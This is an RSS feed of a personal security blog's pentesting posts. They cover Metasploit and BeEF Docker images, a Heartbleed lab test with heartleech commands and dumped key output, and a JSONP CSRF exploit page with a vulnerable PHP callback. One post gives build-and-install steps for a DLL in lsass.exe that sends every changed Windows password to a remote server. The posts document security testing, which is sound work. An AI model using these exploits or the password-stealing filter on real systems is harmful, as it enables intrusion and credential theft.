<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pentest &#8211; Phocean.net</title>
	<atom:link href="/tag/pentest/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Computer Security Blog</description>
	<lastBuildDate>Fri, 24 Feb 2017 21:17:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.10</generator>
	<item>
		<title>BeEF Docker</title>
		<link>/2017/02/24/beef-docker.html</link>
		<pubDate>Fri, 24 Feb 2017 21:17:51 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[BeEF]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Dockerfile]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://phocean.net/?p=2154</guid>
		<guid isPermaLink="false">http://phocean.net/?p=2154</guid>
		<description><![CDATA[Just a quick update to tell about a new Docker based on the phocean/msf image. https://hub.docker.com/r/phocean/beef/ https://github.com/phocean/dockerfile-beef It provides an image for the BeEF framework for XSS browser exploitation (http://beefproject.com/). Enjoy it!]]></description>
				<content:encoded><![CDATA[<p>Just a quick update to tell about a new Docker based on the phocean/msf image.</p>
<p><a href="https://hub.docker.com/r/phocean/beef/">https://hub.docker.com/r/phocean/beef/</a></p>
<p><a href="https://github.com/phocean/dockerfile-beef">https://github.com/phocean/dockerfile-beef</a></p>
<p>It provides an image for the BeEF framework for XSS browser exploitation (<a href="http://beefproject.com/">http://beefproject.com/</a>).</p>
<p>Enjoy it!</p>
]]></content:encoded>
			</item>
		<item>
		<title>Metasploit Dockerfile</title>
		<link>/2016/04/27/metasploit-dockerfile.html</link>
		<comments>/2016/04/27/metasploit-dockerfile.html#comments</comments>
		<pubDate>Wed, 27 Apr 2016 18:26:10 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Dockerfile]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://phocean.net/?p=2088</guid>
		<guid isPermaLink="false">http://phocean.net/?p=2088</guid>
		<description><![CDATA[Hey, Managing updates and dependencies of a Metasploit installation have definitely been too much trouble and repetitive. Instead of keeping reproducing boring installation steps every x months, I decided to build a Dockerfile for once. I chose Debian for its good compromise between features, stability and lightness. I am aware of the Kali Dockerfile, that...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2016/04/27/metasploit-dockerfile.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Hey,</p>
<p>Managing updates and dependencies of a Metasploit installation have definitely been too much trouble and repetitive.</p>
<p>Instead of keeping reproducing boring installation steps every <em>x</em> months, I decided to build a <em>Dockerfile</em> for once.</p>
<p>I chose Debian for its good compromise between features, stability and lightness. I am aware of the Kali Dockerfile, that I could have used as a base. But:</p>
<ul>
<li> It is a definitely over-killing image (more than 1 GB) and, at this cost, it does not come with a fully-featured Metasploit (no database connection, for instance).</li>
<li>I like keeping minimal and controlled stuff. In other words, I like doing things on my own.</li>
</ul>
<p>So, this Debian-based Metasploit container comes with:</p>
<ul>
<li>all dependencies installed,</li>
<li>automatic updates at startup,</li>
<li>a connection with the local Postgres database,</li>
<li>an improved prompt with timestamping and sessions/jobs status.</li>
</ul>
<p>You can find it on <a href="https://github.com/phocean/dockerfile-debian-metasploit">my github</a>.</p>
<p>If you have any trouble or suggestion on how to improve it, please let me know. Enjoy it and go ahead if you want to fork it!</p>
<p><img class="aligncenter size-medium wp-image-2092" src="http://phocean.net/wp-content/uploads/2016/04/msf-580x320.png" alt="Docker running msf" width="580" height="320" srcset="/wp-content/uploads/2016/04/msf-580x320.png 580w, /wp-content/uploads/2016/04/msf-624x344.png 624w, /wp-content/uploads/2016/04/msf.png 715w" sizes="(max-width: 580px) 100vw, 580px" /></p>
<p><img class="aligncenter size-medium wp-image-2092" src="http://phocean.net/wp-content/uploads/2016/04/msf-580x320.png" alt="Docker running msf" width="580" height="320" srcset="/wp-content/uploads/2016/04/msf-580x320.png 580w, /wp-content/uploads/2016/04/msf-624x344.png 624w, /wp-content/uploads/2016/04/msf.png 715w" sizes="(max-width: 580px) 100vw, 580px" /></p>
]]></content:encoded>
			<wfw:commentRss>/2016/04/27/metasploit-dockerfile.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Testing Heartbleed vulnerability</title>
		<link>/2014/07/14/testing-heartbleed-vulnerability.html</link>
		<pubDate>Mon, 14 Jul 2014 21:48:23 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[heartbleed]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1995</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1995</guid>
		<description><![CDATA[No fresh news, but I had been wanting to test the Heartbleed vulnerability for a while and just missed time. I used the following quick setup: Debian 7.0 virtual machine as a vulnerable host Heartleech tool. There are many other tools around, but this one was suggested to me by a coworker, who used it successfully during a...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2014/07/14/testing-heartbleed-vulnerability.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>No fresh news, but I had been wanting to test the Heartbleed vulnerability for a while and just missed time.</p>
<p>I used the following quick setup:</p>
<ol>
<li><strong>Debian 7.0</strong> virtual machine as a vulnerable host</li>
<li><a href="https://github.com/robertdavidgraham/heartleech">Heartleech</a> tool. There are many other tools around, but this one was suggested to me by a coworker, who used it successfully during a pentest.</li>
</ol>
<p>Getting a vulnerable host in your own environment is not that trivial, as most OS have now been patched (including the installation ISO of supported versions).</p>
<p>In my quest, I ended up with Debian 7.0 (Debian 6.x are too old and actually do not suffer from the vulnerability).</p>
<p>To download an old and unpatched installation image of Debian, you need to use <em><strong>Jigdo</strong></em>. This tool will download all packages from the archive site of Debian and rebuild the ISO:</p>
<pre>jigdo-lite ftp://cdimage.debian.org/cdimage/archive/7.0.0/i386/jigdo-dvd/debian-7.0.0-i386-DVD-1.jigdo</pre>
<p>Then, create a virtual machine with no network card, to make sure that the installation process does not retrieve any patch.</p>
<p>Once the Debian virtual machine is set and running:</p>
<ol>
<li>Edit &lt;code&gt;/etc/apt/source.list&lt;/code&gt; to comment out lines concerning security updates (keep only the DVD enabled)</li>
<li>Add and configure a network card (&lt;code&gt;eth0&lt;/code&gt;)</li>
<li>Install <em><strong>Apache2</strong></em></li>
<li>Enable SSL: <code>a2enmod ssl</code></li>
<li>Enable the default SSL web pages: &lt;code&gt;e2ensite default-ssl&lt;/code&gt;</li>
<li>Open a browser to check that it all works at &lt;code&gt;https://hostname&lt;/code&gt;</li>
</ol>
<p>Using heartleech is incredibly fast and straightforward:</p>
<pre>heartleech % ./heartleech 172.25.254.153 --autopwn
--- heartleech/1.0.0i ---
https://github.com/robertdavidgraham/heartleech
786648 bytes downloaded (6.293-mbps)
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA40dv2FdGVHxQRydIyZixnNwnez6bFMyQu+AAjpFmphA39Lzr
4rW8ca8uY0W34jeHx+qTNABkrmfOeZpTFbpCnU7ZDRy8J/KUoq6o26vdkg98fT/t
VqlBPLEp6uD0bazvNp4H5KGO3f1c06y8uBjc4/hOPgiCYYi3aPQpV8ybHqkcdA4K
ps6u9EYvXHwInUwXwOg13OynpYfsxJt2PSF/qoaz7zbU0ie7wMJFFFmXEMwT0uUX
[...]
ko+g0mrTttbz6egHRs3JFmV3oucnGCrTq/Z4Ivcsqdt059UhspDFxMPoesyUjMQs
o8KZF5q2adNTxyoaQPiln9H9GjDSSKt448G9YM7CM7cAd7JkvFBdEjrRsP+4W92B
3EPn1yMCgYEA+LARBdzOfFasv4/UWub85QersrT35hNneTrtaVTBiJR0v7jdXnqe
k0aoHJV/D73j2hW3mGaC9JsnUMfZ3AkoDhfojZzqp2jOlaFNWZr80NDERekJrRTT
3JVFVF33NAW3OWY97/52XRZzcGJTDx9fx8R3guS4tR5O/ETgdREPmAw=
-----END RSA PRIVATE KEY-----</pre>
<p>You can also dump the memory in a file:</p>
<pre>./heartleech 172.25.254.153 --cert /tmp/debian --read /tmp/test</pre>
<p>To further look for interesting content with <code>strings</code> or any parsing tool (<em>Yara</em>?) of your choice.</p>
<p>It gives also an alternative method to retrieve the private key. First, download the public key from your browser to a file and apply it to the dump to look for the matching private key:</p>
<pre>./heartleech 172.25.254.153 --cert /tmp/debian --read /tmp/test
--- heartleech/1.0.0i ---
https://github.com/robertdavidgraham/heartleech
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA40dv2FdGVHxQRydIyZixnNwnez6bFMyQu+AAjpFmphA39Lzr
4rW8ca8uY0W34jeHx+qTNABkrmfOeZpTFbpCnU7ZDRy8J/KUoq6o26vdkg98fT/t
VqlBPLEp6uD0bazvNp4H5KGO3f1c06y8uBjc4/hOPgiCYYi3aPQpV8ybHqkcdA4K
ps6u9EYvXHwInUwXwOg13OynpYfsxJt2PSF/qoaz7zbU0ie7wMJFFFmXEMwT0uUX
[...]
ko+g0mrTttbz6egHRs3JFmV3oucnGCrTq/Z4Ivcsqdt059UhspDFxMPoesyUjMQs
o8KZF5q2adNTxyoaQPiln9H9GjDSSKt448G9YM7CM7cAd7JkvFBdEjrRsP+4W92B
3EPn1yMCgYEA+LARBdzOfFasv4/UWub85QersrT35hNneTrtaVTBiJR0v7jdXnqe
k0aoHJV/D73j2hW3mGaC9JsnUMfZ3AkoDhfojZzqp2jOlaFNWZr80NDERekJrRTT
3JVFVF33NAW3OWY97/52XRZzcGJTDx9fx8R3guS4tR5O/ETgdREPmAw=
-----END RSA PRIVATE KEY-----</pre>
<p>Neat!</p>
<p>You may check <a href="https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-heartbleed-openssl-vulnerability">this page</a> to get information on vulnerable versions and remediation.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Joomla brute force</title>
		<link>/2014/07/12/joomla-brute-force.html</link>
		<pubDate>Sat, 12 Jul 2014 19:35:45 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1993</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1993</guid>
		<description><![CDATA[I released a new tool there. It is a Ruby script that is able to brute force recent versions of Joomla. Enjoy!]]></description>
				<content:encoded><![CDATA[<p>I released a new tool <a href="/tools/joomlabruter">there</a>. It is a Ruby script that is able to brute force recent versions of Joomla.</p>
<p>Enjoy!</p>
]]></content:encoded>
			</item>
		<item>
		<title>(in)Security of JSONP: CSRF risks</title>
		<link>/2013/10/13/csrf-with-jsonp.html</link>
		<comments>/2013/10/13/csrf-with-jsonp.html#comments</comments>
		<pubDate>Sun, 13 Oct 2013 20:51:49 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[JSON]]></category>
		<category><![CDATA[JSONP]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[SOP]]></category>
		<category><![CDATA[web browser]]></category>
		<category><![CDATA[XMLHttpRequest]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1765</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1765</guid>
		<description><![CDATA[JSONP vs JSON I had an opportunity to experiment exploiting JSONP in real life. Honestly, I had never heard of it before. JSON is a well known method to serialize data, but what is JSONP? Actually, it is nothing new, but rather a specific use of JSON. In AJAX websites, XMLHttpRequest is used in client-side Javascript...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2013/10/13/csrf-with-jsonp.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<h2>JSONP vs JSON</h2>
<p>I had an opportunity to experiment exploiting <em>JSONP</em> in real life. Honestly, I had never heard of it before.</p>
<p><em>JSON</em> is a well known method to serialize data, but what is <em>JSONP</em><i>?</i> Actually, it is nothing new, but rather a specific use of <em>JSON</em>.</p>
<p>In <em>AJAX</em> websites, <code>XMLHttpRequest</code> is used in client-side Javascript code to forge <em>HTTP</em> requests, which fetch data from some <em>JSON</em> service.</p>
<p><strong></strong><span style="line-height: 1.714285714; font-size: 1rem;"> For example, following a GUI event (</span><em style="line-height: 1.714285714; font-size: 1rem;">onclick</em><span style="line-height: 1.714285714; font-size: 1rem;">, </span><em style="line-height: 1.714285714; font-size: 1rem;">mouseover</em><span style="line-height: 1.714285714; font-size: 1rem;">, &#8230;), such </span><em style="line-height: 1.714285714; font-size: 1rem;">XHR</em><span style="line-height: 1.714285714; font-size: 1rem;"> code may be executed:</span></p>
<pre>var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'http://example.com/search.php', true);
xhr.send(null);</pre>
<p>The requested server may answer with XML data, or JSON like here:</p>
<pre>{"id": 1, "name": "Foo", "price": 123}</pre>
<p>However, <em>XHR</em> request is limited to the current domain, due to the <em>SOP</em> (Same Origin Policy) that is enforced on modern browsers. What if it is necessary to retrieve data from another domain?</p>
<p>Here comes <em>JSONP</em> as one of the possible solutions.</p>
<pre><span style="color: #ff0000;"><strong>hello(</strong></span>{"id": 1, "name": "Foo", "price": 123}<span style="color: #ff0000;"><strong>);</strong></span></pre>
<p>As you can see, data is <em>padded</em> (<em>P</em> in <em>JSONP</em>) inside a callback function, which we are going to study.</p>
<h2>How JSONP works</h2>
<p>The trick consists in requesting the <em>JSONP</em> service inside <code>&lt;script&gt;</code> tags, which, by design, are out of the <em>SOP</em> scope.</p>
<p>The call to the <em>JSONP</em> service just defines a <em>callback</em> function name as a parameter. Note that the callback function is included in the same page as the call.</p>
<p>Then, the <em>JSONP</em> service answers with data encapsulated inside the callback function name.  That way, the browser will execute the callback function and pass data as its parameters.</p>
<p>It is confusing to explain and I may have lost you in trying to explain. Hopefully this diagram may clarify this stuff:</p>
<div>
<dl id="attachment_1774">
<dt>
<div id="attachment_1774" style="width: 428px" class="wp-caption aligncenter"><img class="size-full wp-image-1774" alt="XHR vs JSONP" src="/wp-content/uploads/2013/10/jsonp1.png" width="418" height="515" /><p class="wp-caption-text">XHR vs JSONP</p></div>
</dt>
</dl>
</div>
<p><em>Domain1</em> <em>XHR</em> requests to <em>domain2</em> are not allowed. Therefore, the <em>callback</em> trick ensures that data is fetched from <em>domain2</em> while the corresponding code is processed in the context of <em>domain1</em>.</p>
<p>All this way around has a unique goal: have the code to be executed in the same context as the originating page. In other words: bypassing the SOP.</p>
<h2> Security Concerns</h2>
<p>This is not without any security caveats. Someone outlined some very valid points on <a href="http://security.stackexchange.com/a/23439">Stackexchange</a>, and it is well written, so I will just copy and paste what he said about <em>JSONP</em> security:</p>
<blockquote>
<ul>
<li><strong>Requires excessive trust.</strong> Suppose you have a page hosted on <code>a.com</code> and it uses JSONP to access services provided by <code>b.org</code>. This involves placing 100% trust in <code>b.org</code>. If <code>b.org</code> is malicious or buggy, it can subvert the security of the embedding page and all of the <code>a.com</code> origin. This kind of excess trust is dangerous from a security perspective: it makes your application fragile.<br />
To put it another way: JSONP is basically a self-inflicted XSS. Yes, OK, I know it&#8217;s a feature, not a bug, but still&#8230;</li>
<li><strong>CSRF vulnerabilities.</strong> You have to remember to defend against CSRF vulnerabilities, and with JSONP, that gets a bit tricky. Standard advice is to ensure that only POST requests can trigger a side-effect, and to include a CSRF token in all POST requests; but JSONP involves sending a GET request to trigger a side-effect, which ain&#8217;t exactly the cleanest solution you&#8217;ve ever seen. So this means that the host that provides JSONP service needs to remember to check CSRF tokens even on GET requests. Also, it requires a bit of a tricky protocol for the embedding page (<code>a.com</code>) to obtain the proper CSRF token from the JSONP service (<code>b.org</code>). It gets messy.</li>
<li><strong>Causes mixed-content warnings.</strong> Suppose we have a page hosted on <code>https://a.com</code> and it accesses a JSONP service on <code>http://b.org</code>. Then this will inevitably trigger a scary-looking mixed-content warning (since JSONP involving loading a script from <code>http://b.org</code>).</li>
<li><strong>User authentication gets ugly.</strong> If <code>b.org</code> wants to authenticate the user, that gets tricky to do when using JSONP. The embedding page (<code>a.com</code>) needs to first somehow give the user an opportunity to log into <code>b.org</code> in advance, before accessing <code>b.org</code>&#8216;s JSONP service. Both sites need to coordinate.</li>
</ul>
</blockquote>
<p>I would just add that, though it is not perfect, it is at least possible to mitigate CSRF on GET requests by checking the <strong><em>HTTP</em></strong> <strong><em>referer</em></strong> (when possible).</p>
<p>Is this complete? Let me know if you have other suggestions.</p>
<h2>Simple Exploitation</h2>
<p>During a pentest, I had to audit a rather complex application which happened to do some requests to another server in <em>JSONP</em>.</p>
<p>The few following snippets are a simplified representation of the case.</p>
<p>Exploitation code right below may be uploaded to a server controlled by the attacker (who may need some <em>social engineering</em> to get the visitor to reach his page).</p>
<pre>&lt;html&gt;
 &lt;head&gt;
 <span style="color: #339966;"><strong>&lt;script&gt;
 hello = function(data) {
 alert("hello " + data.name);
 }
 &lt;/script&gt;</strong></span>
 &lt;/head&gt;
 &lt;body&gt;
 &lt;h1&gt;JSONP Call&lt;/h1&gt;
 <span style="color: #ff0000;"><strong>&lt;script src="http://domain.com/jsonp.php?jsonp_callback=hello"&gt;&lt;/script&gt;</strong></span>
 &lt;/body&gt;
 &lt;/html&gt;</pre>
<p>So in <span style="color: #ff0000;"><em>red</em></span>, the call to JSONP with the callback function name indicated. In <span style="color: #339966;"><em>green</em></span>, the callback function itself. It is just displaying an alert box containing the fetched JSONP data, but of course it could have malicious features (like cookie stealing).</p>
<p>The JSONP service can be simulated by the following code,  hosted on another server (e.g. the attack target):</p>
<pre>&lt;?php
 header('Cache-Control: no-cache, must-revalidate');
 header('Expires: Mon, 1 Jan 2000 01:00:00 GMT');
 header('Content-type: application/json');
 $data = '{ "name": "world" }';
 <strong>echo $_GET['jsonp_callback'] . '(' . $data . ');';</strong>
?&gt;</pre>
<p>After receiving the <code>&lt;script&gt;</code> call, the function would just return:</p>
<pre>hello({ "name": "world" });</pre>
<p>Which, when received by the browser, would trigger the nice alert box.</p>
<p>&nbsp;</p>
<div id="attachment_1793" style="width: 590px" class="wp-caption aligncenter"><img class="size-medium wp-image-1793" alt="JSONP callback execution" src="/wp-content/uploads/2013/10/CapturFiles_21-580x416.png" width="580" height="416" srcset="/wp-content/uploads/2013/10/CapturFiles_21-580x416.png 580w, /wp-content/uploads/2013/10/CapturFiles_21-624x448.png 624w, /wp-content/uploads/2013/10/CapturFiles_21.png 729w" sizes="(max-width: 580px) 100vw, 580px" /><p class="wp-caption-text">JSONP callback execution</p></div>
<p>The attack sequence may be represented like this:</p>
<div id="attachment_1784" style="width: 432px" class="wp-caption aligncenter"><img class="size-full wp-image-1784" alt="Example of exploitation process of JSONP" src="/wp-content/uploads/2013/10/jsonp-exploit.png" width="422" height="445" /><p class="wp-caption-text">Example of exploitation process of JSONP</p></div>
<p>In other words, the user browser is used as a <em>proxy</em> to make <em>CSRF</em> requests, which should be forbidden.</p>
<h2>So what?</h2>
<p>Exploitation depends on the target application configuration and the capability of the attacker to inject a Javascript call along with the callback function into the victim&#8217;s browser.</p>
<p>In the case I experienced, the <em>JSONP</em> host was not checking the <em>referer</em>. On top of that, it was hosted inside the corporate <em>LAN</em>.</p>
<p>So I was able to have a user visit a page on my server, which would silently make his browser call the <em>JSONP</em> service… and execute the Javascript in turn in the context of my page.</p>
<p>Impacts:</p>
<ul>
<li>hijack of the user session to the server (theft of user cookies),</li>
<li>access to confidential data,</li>
<li>bypass of network filtering and <em>SOP</em> (the browser acts as a proxy),</li>
<li>phishing scenarios (fake forms, redirections, …).</li>
</ul>
<p>Even if the target <em>JSONP</em> server had checked the <em>referer</em>, it would still be vulnerable in case the legitimate calling application would suffer from code injection (<em>XSS</em>).</p>
<h2>Conclusion</h2>
<p>Once the concept of <em>JSONP</em> is clear, it appears to be very simple and powerful to exploit.</p>
<p>As I just discovered this and had to craft the exploitation quickly, I would not conclude definitely on the topic.</p>
<p>Though, it seems that a JSONP service should at least check the <em>referer</em> before processing a call to get to an acceptable security level.</p>
<p>But I am not sure yet of what else could be done to improve the security further. It may be just crappy by design.</p>
<p>Please share if you have a more educated opinion on the topic. And as always, comments and constructive criticisms are welcome. Let me know if something is unclear or incorrect.</p>
<h2>References</h2>
<ul>
<li><a title="JSON vs JSONP" href="http://www.mattlunn.me.uk/blog/2011/10/json-vs-jsonp/">www.mattlunn.me.uk</a></li>
<li><a title="JSONP" href="http://border-labs.fr/?p=21">border-labs.fr</a></li>
<li><a href="http://security.stackexchange.com/a/23439">security.stackexchange.com</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>/2013/10/13/csrf-with-jsonp.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Password stealing using a password filter</title>
		<link>/2013/10/02/password-stealing-using-a-password-filter.html</link>
		<comments>/2013/10/02/password-stealing-using-a-password-filter.html#comments</comments>
		<pubDate>Wed, 02 Oct 2013 09:12:31 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[IDA Pro]]></category>
		<category><![CDATA[lsass]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[Sysinternals]]></category>
		<category><![CDATA[visual studio]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1736</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1736</guid>
		<description><![CDATA[Nice stuff from @mubix: the technic consists in injecting a DLL to lsass.exe, using the password filter feature of Windows. The password filter architecture is useful to check that a password is compliant with the system security policy. It will typically check that when a user changes his password, it follows the required complexity. Microsoft...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2013/10/02/password-stealing-using-a-password-filter.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html">Nice stuff</a> from <a href="https://twitter.com/mubix">@mubix</a>: the technic consists in injecting a DLL to <code>lsass.exe</code>, using the <em>password filter</em> feature of Windows.</p>
<p>The password filter architecture is useful to check that a password is compliant with the system security policy. It will typically check that when a user changes his password, it follows the required complexity.</p>
<p>Microsoft opened the API so that users can extend the functionality with their own filters.</p>
<p>Mubix diverted this API by developing a password logger: the DLL just logs the password both on the disk and a remote server,  and does nothing else.</p>
<p>A perfect way to maintain a persistent access… I tested it:</p>
<div id="attachment_1738" style="width: 635px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2013/10/CapturFiles_14.png" rel="lightbox[1736]"><img class="size-large wp-image-1738" alt="Evilpassfilter exploitation process" src="/wp-content/uploads/2013/10/CapturFiles_14-940x587.png" width="625" height="390" srcset="/wp-content/uploads/2013/10/CapturFiles_14-940x587.png 940w, /wp-content/uploads/2013/10/CapturFiles_14-580x362.png 580w, /wp-content/uploads/2013/10/CapturFiles_14-624x389.png 624w" sizes="(max-width: 625px) 100vw, 625px" /></a><p class="wp-caption-text">Evilpassfilter exploitation process</p></div>
<ol>
<li><code>Evilpassfilter.dll</code> is loaded into <code>lsass.exe</code></li>
<li>A user updates his password</li>
<li>The password goes through the <em>Evilpassfilter </em>password filter, which notifies the attacker through HTTP and also logs it locally.</li>
</ol>
<p>Here is what I did to get it work (Windows 7 x64):</p>
<ul>
<li>Make sure the local password security policy is enabled on the target</li>
<li>Create a new Win32 project in Visual Studio (2012)</li>
<li>Eventually delete unnecessary files, to start with an empty project (<code>stadfx.h</code> and cie)</li>
<li>Import the <a title="Evilpassfilter" href="https://gist.github.com/mubix/6514311#file-evilpassfilter-cpp">source code</a></li>
<li>Create a <code>Evilpassfilter.def</code> file, which defines the exports:
<pre>LIBRARY Evilpassfilter
EXPORTS
   InitializeChangeNotify
   PasswordFilter
   PasswordChangeNotify</pre>
</li>
<li>In the project properties, make sure to select the appropriate architecture, matching with the one of your target.
<p><div id="attachment_1745" style="width: 590px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2013/10/CapturFiles_18.png" rel="lightbox[1736]"><img class="size-medium wp-image-1745" alt="Selecting the compilation target architecture (win32/x64)" src="/wp-content/uploads/2013/10/CapturFiles_18-580x133.png" width="580" height="133" srcset="/wp-content/uploads/2013/10/CapturFiles_18-580x133.png 580w, /wp-content/uploads/2013/10/CapturFiles_18-624x143.png 624w, /wp-content/uploads/2013/10/CapturFiles_18.png 725w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">Selecting the compilation target architecture (win32/x64)</p></div></li>
<li>In the input settings of the link editor, add wininet.lib as additional dependancy.</li>
<li>Also add <code>Evilpassfilter.def</code> as module definition file.
<p><div id="attachment_1743" style="width: 590px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2013/10/CapturFiles_16.png" rel="lightbox[1736]"><img class="size-medium wp-image-1743" alt="Evilpassfilter Visual Studio settings" src="/wp-content/uploads/2013/10/CapturFiles_16-580x413.png" width="580" height="413" srcset="/wp-content/uploads/2013/10/CapturFiles_16-580x413.png 580w, /wp-content/uploads/2013/10/CapturFiles_16-624x444.png 624w, /wp-content/uploads/2013/10/CapturFiles_16.png 859w" sizes="(max-width: 580px) 100vw, 580px" /></a><p class="wp-caption-text">Evilpassfilter Visual Studio settings</p></div></li>
<li>In the source code, fix line 72: <code>return;</code> &#8211;&gt; <code>return 1;</code></li>
<li>Now you should be able to compile the library. You may want to make sure that the DLL is valid and integrated the exports (open it with IDA or a PE tool):
<p><div id="attachment_1741" style="width: 913px" class="wp-caption aligncenter"><a href="/wp-content/uploads/2013/10/CapturFiles_19.png" rel="lightbox[1736]"><img class="size-full wp-image-1741" alt="Evilpassfilter.dll exports seen in IDA" src="/wp-content/uploads/2013/10/CapturFiles_19.png" width="903" height="226" srcset="/wp-content/uploads/2013/10/CapturFiles_19.png 903w, /wp-content/uploads/2013/10/CapturFiles_19-580x145.png 580w, /wp-content/uploads/2013/10/CapturFiles_19-624x156.png 624w" sizes="(max-width: 903px) 100vw, 903px" /></a><p class="wp-caption-text">Evilpassfilter.dll exports seen in IDA</p></div></li>
<li>Copy the resulting DLL to the <code>system32</code> folder.</li>
<li>Open regedit <code>HKLM\System\CurrentControlSet\Control\Lsa</code><br />
and add <code>Evilpassfilter</code> to the <code>Notification Packages</code></li>
</ul>
<p>Reboot and… now you should know what to do next :-)</p>
]]></content:encoded>
			<wfw:commentRss>/2013/10/02/password-stealing-using-a-password-filter.html/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>File upload vulnerabilities : appending PHP code to an image</title>
		<link>/2013/09/29/file-upload-vulnerabilities-appending-php-code-to-an-image.html</link>
		<comments>/2013/09/29/file-upload-vulnerabilities-appending-php-code-to-an-image.html#comments</comments>
		<pubDate>Sun, 29 Sep 2013 21:03:05 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[file upload]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1666</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=1666</guid>
		<description><![CDATA[Several ways may be used to protect a file upload functionality on a website. A first method is content-type checking, which can be easily bypassed with a intercepting proxy (tampering the MIME type). The screenshot below shows an intercepted request where the attacker modifies the content-type (beforehand text/php) and then forwards the content to the...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2013/09/29/file-upload-vulnerabilities-appending-php-code-to-an-image.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Several ways may be used to protect a file upload functionality on a website.</p>
<p>A first method is <strong>content-type </strong>checking, which can be easily bypassed with a intercepting proxy (tampering the MIME type). The screenshot below shows an intercepted request where the attacker modifies the content-type (beforehand <code>text/php</code>) and then forwards the content to the server:</p>
